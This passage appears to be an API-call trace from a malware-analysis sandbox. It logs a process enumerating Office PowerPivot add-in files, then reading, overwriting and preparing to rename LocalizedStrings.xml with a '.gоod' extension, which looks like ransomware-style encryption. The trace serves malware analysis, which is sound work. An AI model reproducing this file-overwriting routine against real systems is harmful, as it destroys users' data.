lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x659fb9, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x659fb9, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x659fb9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x71070, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.QueryDesigners.resources.dll", cAlternateFileName="MI63FB~1.DLL")) returned 1 [0254.436] FindNextFileW (in: hFindFile=0x134a740, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf1e0a643, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1e0a643, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf21ea38b, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x14ac8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.ReportDesign.Common.resources.dll", cAlternateFileName="MICROS~3.DLL")) returned 1 [0254.437] FindNextFileW (in: hFindFile=0x134a740, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfc47ce76, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfc47ce76, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfc646a83, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xaad0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.ReportDesign.Forms.resources.dll", cAlternateFileName="MI335D~1.DLL")) returned 1 [0254.437] FindNextFileW (in: hFindFile=0x134a740, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x575324, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x575324, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x59b433, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4078, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.RsClient.resources.dll", cAlternateFileName="MI5988~1.DLL")) returned 1 [0254.437] FindNextFileW (in: hFindFile=0x134a740, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfbd7bf89, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfbd7bf89, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfbd7bf89, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xa068, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.SqlServer.Types.resources.dll", cAlternateFileName="MI5889~1.DLL")) returned 1 [0254.437] FindNextFileW (in: hFindFile=0x134a740, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfb6089d0, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfb6089d0, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfb654e78, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x2e70, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReportingServicesNativeClient.resources.dll", cAlternateFileName="REPORT~1.DLL")) returned 1 [0254.437] FindNextFileW (in: hFindFile=0x134a740, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0254.437] FindClose (in: hFindFile=0x134a740 | out: hFindFile=0x134a740) returned 1 [0254.437] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ecb30) returned 1 [0254.437] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ecaf0) returned 1 [0254.438] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ecbf0) returned 1 [0254.438] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\da", nBufferLength=0x105, lpBuffer=0x206ec690, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\da", lpFilePart=0x0) returned 0x51 [0254.438] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\da\\*", lpFindFileData=0x206ec910 | out: lpFindFileData=0x206ec910*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf10a1263, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1662bb01, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1662bb01, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134a800 [0254.438] FindNextFileW (in: hFindFile=0x134a800, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf10a1263, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1662bb01, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1662bb01, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0254.438] FindNextFileW (in: hFindFile=0x134a800, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1662bb01, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1662bb01, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1662bb01, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1096, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedStrings.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0254.438] FindNextFileW (in: hFindFile=0x134a800, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfaf07af2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfaf07af2, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfaf07af2, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xd030, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.AnalysisServices.Common.resources.dll", cAlternateFileName="MIE3DA~1.DLL")) returned 1 [0254.439] FindNextFileW (in: hFindFile=0x134a800, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x3f46636, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x3f46636, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x3f46636, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x39078, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.AnalysisServices.Common.Wizard.resources.dll", cAlternateFileName="MIDF86~1.DLL")) returned 1 [0254.439] FindNextFileW (in: hFindFile=0x134a800, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf1d4bb8b, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1d4bb8b, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1d71cd8, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x14030, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.AnalysisServices.Excel.BackEnd.resources.dll", cAlternateFileName="MICROS~2.DLL")) returned 1 [0254.439] FindNextFileW (in: hFindFile=0x134a800, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf99462e6, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf99462e6, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf99462e6, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x1fda98, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.AnalysisServices.Excel.Common.FrontEnd.resources.dll", cAlternateFileName="MIF61E~1.DLL")) returned 1 [0254.439] FindNextFileW (in: hFindFile=0x134a800, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfc2b31ff, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfc2b31ff, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfc2d943c, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x3030, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.AnalysisServices.Layout.resources.dll", cAlternateFileName="MI8E88~1.DLL")) returned 1 [0254.439] FindNextFileW (in: hFindFile=0x134a800, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf80fc2c4, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf80fc2c4, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf80fc2c4, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x1c030, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.AnalysisServices.XLHost.Modeler.resources.dll", cAlternateFileName="MI93CC~1.DLL")) returned 1 [0254.439] FindNextFileW (in: hFindFile=0x134a800, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf3143659, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf3143659, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf3143659, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x2e60, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.DataWarehouse.Interfaces.resources.dll", cAlternateFileName="MICROS~4.DLL")) returned 1 [0254.440] FindNextFileW (in: hFindFile=0x134a800, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x17c93f4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x17c93f4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x17c93f4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4c050, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.DataWarehouse.resources.dll", cAlternateFileName="MI9A58~1.DLL")) returned 1 [0254.440] FindNextFileW (in: hFindFile=0x134a800, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x305f84a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x305f84a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x36c7dee, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x47088, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Office.PowerPivot.ExcelAddIn.resources.dll", cAlternateFileName="MIB24E~1.DLL")) returned 1 [0254.440] FindNextFileW (in: hFindFile=0x134a800, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf4ba375b, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf4ba375b, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf4ba375b, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x5478, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.DataExtensions.resources.dll", cAlternateFileName="MI1341~1.DLL")) returned 1 [0254.440] FindNextFileW (in: hFindFile=0x134a800, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x381f2dc, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x381f2dc, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x381f2dc, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x13068, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.Diagnostics.resources.dll", cAlternateFileName="MI2EA0~1.DLL")) returned 1 [0254.440] FindNextFileW (in: hFindFile=0x134a800, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf10a1263, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf10a1263, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf12910b6, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x1a078, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.QueryDesigners.Common.resources.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0254.440] FindNextFileW (in: hFindFile=0x134a800, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x659fb9, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x659fb9, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x659fb9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x71070, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.QueryDesigners.resources.dll", cAlternateFileName="MI63FB~1.DLL")) returned 1 [0254.441] FindNextFileW (in: hFindFile=0x134a800, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf1e0a643, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1e0a643, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf21ea38b, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x14ac8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.ReportDesign.Common.resources.dll", cAlternateFileName="MICROS~3.DLL")) returned 1 [0254.441] FindNextFileW (in: hFindFile=0x134a800, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfc47ce76, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfc47ce76, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfc646a83, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xaad0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.ReportDesign.Forms.resources.dll", cAlternateFileName="MI335D~1.DLL")) returned 1 [0254.441] FindNextFileW (in: hFindFile=0x134a800, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x575324, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x575324, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x59b433, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4078, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.RsClient.resources.dll", cAlternateFileName="MI5988~1.DLL")) returned 1 [0254.441] FindNextFileW (in: hFindFile=0x134a800, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfbd7bf89, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfbd7bf89, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfbd7bf89, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xa068, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.SqlServer.Types.resources.dll", cAlternateFileName="MI5889~1.DLL")) returned 1 [0254.441] FindNextFileW (in: hFindFile=0x134a800, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfb6089d0, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfb6089d0, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfb654e78, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x2e70, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReportingServicesNativeClient.resources.dll", cAlternateFileName="REPORT~1.DLL")) returned 1 [0254.441] FindNextFileW (in: hFindFile=0x134a800, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfb6089d0, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfb6089d0, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfb654e78, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x2e70, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReportingServicesNativeClient.resources.dll", cAlternateFileName="REPORT~1.DLL")) returned 0 [0254.442] FindClose (in: hFindFile=0x134a800 | out: hFindFile=0x134a800) returned 1 [0254.442] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ecb30) returned 1 [0254.442] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ecaf0) returned 1 [0254.442] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\da\\LocalizedStrings.xml", nBufferLength=0x105, lpBuffer=0x206ec4d0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\da\\LocalizedStrings.xml", lpFilePart=0x0) returned 0x66 [0254.442] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ec9a0) returned 1 [0254.442] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\da\\LocalizedStrings.xml" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\da\\localizedstrings.xml"), fInfoLevelId=0x0, lpFileInformation=0x3b4c458 | out: lpFileInformation=0x3b4c458*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1662bb01, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1662bb01, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1662bb01, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1096)) returned 1 [0254.442] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ec960) returned 1 [0254.442] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\da\\LocalizedStrings.xml", nBufferLength=0x105, lpBuffer=0x206ec380, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\da\\LocalizedStrings.xml", lpFilePart=0x0) returned 0x66 [0254.442] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ec8a0) returned 1 [0254.442] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\da\\LocalizedStrings.xml" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\da\\localizedstrings.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x864 [0254.443] GetFileType (hFile=0x864) returned 0x1 [0254.443] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ec810) returned 1 [0254.443] GetFileType (hFile=0x864) returned 0x1 [0254.443] SetFilePointer (in: hFile=0x864, lDistanceToMove=4096, lpDistanceToMoveHigh=0x206ec9f8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x206ec9f8*=0) returned 0x1000 [0254.443] ReadFile (in: hFile=0x864, lpBuffer=0x3b4c910, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x206ec9c8, lpOverlapped=0x0 | out: lpBuffer=0x3b4c910*, lpNumberOfBytesRead=0x206ec9c8*=0x96, lpOverlapped=0x0) returned 1 [0254.444] CloseHandle (hObject=0x864) returned 1 [0254.444] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\da\\LocalizedStrings.xml", nBufferLength=0x105, lpBuffer=0x206ec380, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\da\\LocalizedStrings.xml", lpFilePart=0x0) returned 0x66 [0254.444] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ec8a0) returned 1 [0254.444] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\da\\LocalizedStrings.xml" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\da\\localizedstrings.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x864 [0254.444] GetFileType (hFile=0x864) returned 0x1 [0254.444] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ec810) returned 1 [0254.444] GetFileType (hFile=0x864) returned 0x1 [0254.444] SetFilePointer (in: hFile=0x864, lDistanceToMove=0, lpDistanceToMoveHigh=0x206ec9f8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x206ec9f8*=0) returned 0x1096 [0254.444] WriteFile (in: hFile=0x864, lpBuffer=0x3b4e0b8*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x206ec8e8, lpOverlapped=0x0 | out: lpBuffer=0x3b4e0b8*, lpNumberOfBytesWritten=0x206ec8e8*=0x10, lpOverlapped=0x0) returned 1 [0254.445] CloseHandle (hObject=0x864) returned 1 [0254.445] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\da\\LocalizedStrings.xml", nBufferLength=0x105, lpBuffer=0x206ec380, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\da\\LocalizedStrings.xml", lpFilePart=0x0) returned 0x66 [0254.445] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ec8a0) returned 1 [0254.445] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\da\\LocalizedStrings.xml" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\da\\localizedstrings.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x864 [0254.445] GetFileType (hFile=0x864) returned 0x1 [0254.445] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ec810) returned 1 [0254.445] GetFileType (hFile=0x864) returned 0x1 [0254.445] ReadFile (in: hFile=0x864, lpBuffer=0x3b503c8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x206ec978, lpOverlapped=0x0 | out: lpBuffer=0x3b503c8*, lpNumberOfBytesRead=0x206ec978*=0x1000, lpOverlapped=0x0) returned 1 [0254.597] CloseHandle (hObject=0x864) returned 1 [0254.597] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\da\\LocalizedStrings.xml", nBufferLength=0x105, lpBuffer=0x206ec380, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\da\\LocalizedStrings.xml", lpFilePart=0x0) returned 0x66 [0254.597] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ec8a0) returned 1 [0254.597] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\da\\LocalizedStrings.xml" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\da\\localizedstrings.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x864 [0254.597] GetFileType (hFile=0x864) returned 0x1 [0254.597] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ec810) returned 1 [0254.597] GetFileType (hFile=0x864) returned 0x1 [0254.597] WriteFile (in: hFile=0x864, lpBuffer=0x3a05a30*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x206eca28, lpOverlapped=0x0 | out: lpBuffer=0x3a05a30*, lpNumberOfBytesWritten=0x206eca28*=0x1010, lpOverlapped=0x0) returned 1 [0254.597] CloseHandle (hObject=0x864) returned 1 [0254.598] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\da\\LocalizedStrings.xml", nBufferLength=0x105, lpBuffer=0x206ec4d0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\da\\LocalizedStrings.xml", lpFilePart=0x0) returned 0x66 [0254.598] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\da\\LocalizedStrings.xml.gоod", nBufferLength=0x105, lpBuffer=0x206ec4d0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\da\\LocalizedStrings.xml.gоod", lpFilePart=0x0) returned 0x6b [0254.598] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ec960) returned 1 [0254.598] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft 